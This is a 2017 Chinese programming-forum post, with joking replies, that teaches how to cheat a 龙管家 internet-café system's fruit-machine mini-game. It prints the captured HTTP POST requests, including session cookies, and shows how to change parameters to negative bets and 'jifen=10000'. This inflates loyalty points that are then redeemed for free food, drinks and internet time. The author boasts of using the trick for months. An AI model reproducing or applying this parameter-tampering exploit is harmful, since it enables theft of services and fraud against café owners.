开启辅助访问 切换到宽版

精易论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

用微信号发送消息登录论坛

新人指南 邀请好友注册 - 我关注人的新帖 教你赚取精币 - 每日签到


求职/招聘- 论坛接单- 开发者大厅

论坛版规 总版规 - 建议/投诉 - 应聘版主 - 精华帖总集 积分说明 - 禁言标准 - 有奖举报

查看: 33344|回复: 549
收起左侧

利用网吧漏洞 白吃 白喝 白上网

  [复制链接]
结帖率:88% (15/17)
发表于 2017-7-23 13:22:31 | 显示全部楼层 |阅读模式   广东省佛山市
本帖最后由 巴拉拉小魔仙 于 2017-7-23 14:35 编辑

还有208天就到春节了,提前跟大家说一声 春节快乐

这次教大家利用网吧漏洞制作一款属于自己的软件,可以白吃白喝白上网咯~


前期准备工作!
1.易语言
2.精易模块
3.WSExplorer 1.3
4.必须是龙管家系统的网吧

原理:利用网吧漏洞刷网吧积分,用积分兑换网费,饮料......

前期准备工作做好了,登录网吧系统以后,找到更换帐号(在个人中心左上角旁边) 注:不要拿本机帐号操作,建议使用QQ帐号,安全很多~
C(K(YRM~B3@2(F$HXX99C3B.png

点击QQ登录,登录以后不要急着操作,先让你帐号上有点积分再操作,不然有可能不会成功...

接下来就是重点,各位易友看好没一步操作即可

1.    打开游戏,水果机进程名:sgj.exe
OYTG[S2PUN_4TWTE3.png

2. 打开  WSExplorer 1.3  找到进程  sjg.exe  双击打开

S1]37EMGOS2W]G7W9A.png

3. 打开水果机,找到积分按钮,随便加点分

]J_X[ECWJ20O29I$V](E148.png

4. 加了分以后,随便点一样水果东西
CUWZS5[SESUOHYRJYJU.png

5. 回到 WSExplorer 1.3 右键清空 所有内容 然后回去 水果机程序 点击开始 然后会到 WSExplorer 1.3 找到 post  (卧槽,刚刚网管就从我身边走过 吓了我一逼)

DP4P19SAOON565X9TX.png
现在我们得到数据信息:

POST /WebApps/sgj/getdata.php?type=getrandnum HTTP/1.1
Host: 192.168.0.247:808
Accept-Encoding: deflate, gzip
Cookie: my_uid=24293PgMrv4Xo%2BZPtotga%2FJDhEU3eKFK2g4Tv2u2xtEXRtf28w; my_wbid=8848BiCBO6IRoQfYCfaJCRfG6h%2FTx1llW4OIv2cXJ%2FhLQQ%0D%0A; PHPSESSID=vkhkd35t0ag6b13cdltdmgl2v6
Origin: http://192.168.0.247:808
Accept-Language: zh-CN,en,*
X-Requested-With: XMLHttpRequest
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Safari/535.2 wke/1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://192.168.0.247:808/WebApps/sgj/index.php
Content-Length: 69
bar=0&seven=0&star=0&watermelons=0&alarm=0&coconut=0&orange=0&apple=1  

以上信息不是通行,请自行抓包

我们需要,参数是: 提交地址,提交信息, Cookie
那么
提交地址:
http://192.168.0.247:808/WebApps/sgj/getdata.php?type=getrandnum

提交信息:
bar=0&seven=0&star=0&watermelons=0&alarm=0&coconut=0&orange=0&apple=1

那么我们把提交信息改装为:
bar=-100&seven=-100&star=-100&watermelons=-100&alarm=-100&coconut=-100&orange=-100&apple=-100


cookies :
my_uid=24293PgMrv4Xo%2BZPtotga%2FJDhEU3eKFK2g4Tv2u2xtEXRtf28w; my_wbid=8848BiCBO6IRoQfYCfaJCRfG6h%2FTx1llW4OIv2cXJ%2FhLQQ%0D%0A; PHPSESSID=vkhkd35t0ag6b13cdltdmgl2v6

然后我们打开易语言,载入精易模块,用精易模块命令 网页_访问S 填写以上信息


U_VN3QNSHZNXUOF.png

点击按钮,返回这个信息证明,已经成功

1.png

然后 回到水果机  有个退分按钮 抓一下 这个信息 (由于时间关系,不再截图)

POST /WebApps/sgj/getdata.php?type=getgift HTTP/1.1
Host: 192.168.0.247:808
Accept-Encoding: deflate, gzip
Cookie: my_uid=2c2csjgQo6B8QEWG5pgBTwXzasQPbpQRgcLxxn8w2NQA8ChC7A; my_wbid=8848BiCBO6IRoQfYCfaJCRfG6h%2FTx1llW4OIv2cXJ%2FhLQQ%0D%0A; PHPSESSID=b1l3d76b47ut7rra7krrjvlg31
Origin: http://192.168.0.247:808
Accept-Language: zh-CN,en,*
X-Requested-With: XMLHttpRequest
Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Safari/535.2 wke/1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
Referer: http://192.168.0.247:808/WebApps/sgj/index.php
Content-Length: 7
jifen=9




抓到以上信息, 那么
提交地址:
http://192.168.0.247:808/WebApps/sgj/getdata.php?type=getgift

提交信息:
jifen=9

修改为:
jifen=10000



Cookie:
my_uid=2c2csjgQo6B8QEWG5pgBTwXzasQPbpQRgcLxxn8w2NQA8ChC7A; my_wbid=8848BiCBO6IRoQfYCfaJCRfG6h%2FTx1llW4OIv2cXJ%2FhLQQ%0D%0A; PHPSESSID=b1l3d76b47ut7rra7krrjvlg31


回到个人中心,你会发现,积分已经变多,在个人中心的积分 积分明细那里,你能看到刚刚你刷的积分

4($_SI$E(PX6@`R4OMEQC~C.png

有时候退分不成功,在水果机那,点击几次就好~  


那么用积分在兑换页面....


我这里有吃的有喝的有网费的,该漏洞用了半年多,网吧老板已对本小仙产生怀疑,这里不一一演示

凡事留一线,日后好相见

有好听的歌曲 麻烦 楼下分享 一下  另外 没有JB了 土豪多可以打赏一下




9P~85I8I[HRTTV[(`MW0_(F.png

点评

没事,就是没法用手指打字了,刚缝针。   广东省深圳市  发表于 2017-8-21 23:39
不要说现在家里面放几台电脑了爸妈没事就给我买电脑我都不好意思了   湖南省衡阳市  发表于 2017-8-15 07:23
杨叔叔.我听你的话.别电我了好吗.求你了   广东省东莞市  发表于 2017-7-30 13:01
现在医院为了打广告,没点技术还不行,楼主,我服你,你医院现在因该没空床了吧   湖南省邵阳市  发表于 2017-7-30 11:12
你....是......杨...杨永信[吐血][吐血]   贵州省黔南布依族苗族自治州  发表于 2017-7-29 21:38
楼主你在哪家医院,我买点水果去帮你庆祝下!   江西省南昌市  发表于 2017-7-29 16:20
但凡你有一点良心,就来人民医院看看我!!!   河北省沧州市  发表于 2017-7-29 10:46
各位都出来放风了?   江西省南昌市  发表于 2017-7-28 23:07
我们这ICU里面 空气纯净 温度适宜 环境舒适 不错!   福建省泉州市  发表于 2017-7-28 22:40
你要是还有一点良知,就去医院看看这群小伙子。   福建省龙岩市  发表于 2017-7-28 22:35
挑战网吧网管系列   广东省广州市  发表于 2017-7-28 16:10
嗯,不错,医院wifi挺快的,护士也漂亮!   广东省深圳市  发表于 2017-7-27 13:33
嗯,不错,医院wifi挺快的,护士也漂亮!   陕西省汉中市  发表于 2017-7-26 21:04
要不是我现在只能用下巴打字,我差点就信了!   河南省许昌市  发表于 2017-7-26 20:46
我在湖北人民医院呢   湖北省黄冈市  发表于 2017-7-26 20:24
也就少了一个手,软件还不错   陕西省渭南市  发表于 2017-7-26 19:28
幸好我跑得快,也就没了几根手指   广东省广州市  发表于 2017-7-26 17:39
兄弟们,在那个医院了???   广东省广州市  发表于 2017-7-25 17:06
欢迎各路大手子各显神通,在本论坛分享奇淫妙计,既能提升个人声望,也能给广大网友多开一条思路。   江西省景德镇市  发表于 2017-7-25 13:18
出了个,复活甲,没事,打不死   广东省广州市  发表于 2017-7-25 08:38
已被打断腿! 谢谢   广东省茂名市  发表于 2017-7-25 07:52

评分

参与人数 20好评 +8 精币 +47 收起 理由
1271198504 + 1 老师,我有问题请教你 问题已经私信你了。
佳一佳 + 1 刚从派出所出来 你说怎么办吧
lzhaitao + 1 + 1 看到楼主的头像,我就知道,发这帖不是没有原因的
small莲 + 1 + 2 杨...杨永信
记i格式化 + 2 看了楼主头像才知道楼主的高明之处
心中的沉默 + 1 + 2 我这边医院没空床了,不是缺胳膊就是少腿,我还好就是没了**
藤未枯 + 1 + 2 想了半天,也不知道发些什么,拜年又太俗,干脆给各位提前上柱香吧。
人各有志1 + 1 想了半天,也不知道发些什么,干脆在这里给大家拜个早年吧,祝大家新年快乐,阖家欢乐
z352022657 + 1 + 2 这个我早就知道了 不过我不是用你那个 我是配合fiddle和Proxifier
一瓶矿泉水 + 1 + 2 惊讶居然是POST的,666楼主好想法。
深邃如海 + 1 + 1 要不是我现在坐着在轮椅上我就真的相信了
1990343340 + 2 不错,等我去搬两天砖,出个复活甲再说。
初梦大大 + 1 新技能已get√
stone2018 + 1 新技能已get√
晓时候 + 1 黑魔仙路过
精易神 + 1 + 2 新技能已get√
MrSimple + 1 你还别说医院wifi信号真好.
漩涡鸣人 + 20 感谢分享,很给力!~
a379270612 + 1 家人问我为何上个网少了一只手
我爱逗妇乳 + 1 要不是我现在坐着在轮椅上我就真的相信了

查看全部评分


本帖被以下淘专辑推荐:

结帖率:50% (1/2)
发表于 2018-3-15 23:17:14 | 显示全部楼层   广东省广州市
感谢楼主你的分享
回复 支持 反对

使用道具 举报

结帖率:83% (30/36)

签到天数: 6 天

发表于 2018-1-2 18:57:34 | 显示全部楼层   福建省厦门市
新技能,已Get
回复 支持 反对

使用道具 举报

结帖率:67% (12/18)

签到天数: 1 天

发表于 2017-9-15 22:08:59 | 显示全部楼层   广东省广州市
我想问下,你是怎么想到的。。。。。。。。厉害咯
回复 支持 反对

使用道具 举报

发表于 2017-9-15 14:12:55 高大上手机用户 | 显示全部楼层   云南省昆明市
楼主,现在是不是已经被和谐了?用不了呀。。。
回复 支持 反对

使用道具 举报

发表于 2017-9-14 17:04:05 | 显示全部楼层   重庆市重庆市
恶意破J,听说准备起诉楼主了,保重
回复 支持 反对

使用道具 举报

结帖率:50% (6/12)
发表于 2017-9-8 17:33:37 | 显示全部楼层   陕西省汉中市
楼主如果你还有一点点良知的话就应该拿点水果来医院看看我
回复 支持 反对

使用道具 举报

签到天数: 1 天

发表于 2017-8-11 14:18:26 | 显示全部楼层   河北省石家庄市
新技能已get
回复 支持 反对

使用道具 举报

结帖率:100% (6/6)

签到天数: 1 天

发表于 2017-8-10 16:02:21 高大上手机用户 | 显示全部楼层   河北省石家庄市
感谢楼主分享
回复 支持 反对

使用道具 举报

发表于 2017-8-10 09:11:56 | 显示全部楼层   河南省许昌市
我们这里网吧貌似没有这个东西
回复 支持 反对

使用道具 举报

结帖率:78% (35/45)
发表于 2017-8-4 12:41:55 | 显示全部楼层   广东省潮州市
有报销医药费吗
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则 致发广告者

发布主题 收藏帖子 返回列表

sitemap| 易语言源码| 易语言教程| 易语言论坛| 诚聘英才| 易语言模块| 手机版| 广告投放| 精易论坛
拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表精易立场!
论坛帖子内容仅用于技术交流学习和研究的目的,严禁用于非法目的,否则造成一切后果自负!如帖子内容侵害到你的权益,请联系我们!
防范网络诈骗,远离网络犯罪 违法和不良信息举报电话0663-3422125,QQ: 800073686,邮箱:800073686@b.qq.com
Powered by Discuz! X3.4 揭阳市揭东区精易科技有限公司 ( 粤ICP备12094385号-1) 粤公网安备 44522102000125 增值电信业务经营许可证 粤B2-20192173

快速回复 返回顶部 返回列表